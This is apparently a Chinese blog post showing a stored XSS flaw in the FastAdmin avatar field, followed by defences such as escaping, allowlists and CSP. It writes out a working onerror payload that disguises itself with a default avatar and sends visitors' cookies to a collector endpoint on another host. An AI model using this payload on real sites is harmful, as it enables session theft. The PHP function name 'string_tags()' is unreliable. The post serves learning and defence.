XSS 攻击简单实现及防御

Posted by liuxu379 on November 21, 2019

说明

之前项目里面用到了基于 ThinkPHP5 框架开发的 Fast Admin 开源项目,简单测试了一下,发现在个人资料页面,头像参数(avatar)未过滤特殊字符,导致存在 XSS 存储型漏洞。


准备

  • Fiddler
  • 接收 Cookie 的接口
  • 数据库
  • Chrome

进入会员中心-个人资料页面,配置好 Fiddler 对浏览器数据进行拦截。 enter image description here


修改参数

此处使 img 提前闭合,并赋予错误的值,触发 onerrorenter image description here

avatar 参数改为以下代码并提交:

1" onerror="var url = 'http://192.168.40.2:98/assets/img/avatar.png'
var targetUrl = 'http://192.168.40.2:83/api/index/getCookie?cookie='
this.setAttribute('src', url)
setTimeout(function(){$.get(targetUrl.concat(document.cookie));},5000)

enter image description here

getCookie 用来接收 Cookie 参数并存入数据库,当任意用户加载当前用户头像时,会显示默认头像(用来伪装),且将用户Cookie传到接口。


防御

前端

  • HTML节点或属性中通过replace()方法使用正则表达式转义’<’、’>’、单引号、双引号和空格;
  • JS中通过stringify()将对象或数组转换为JSON字符串;

PHP

  • 使用内置函数进行转义
    • string_tags(),过滤所有HTML标签;
    • htmlspecialchars(value, ENT_QUOTES),将’<’、’>’、单引号、双引号和&符号转化为HTML实体代码;
  • 使用 DOM 白名单;
  • 使用 Github 第三方库;
  • 使用 CSP ;

结束

这里只是简单利用一下,目的是为了强化自己对 XSS 漏洞危害的认知。后面也要经常关注安全方面的知识。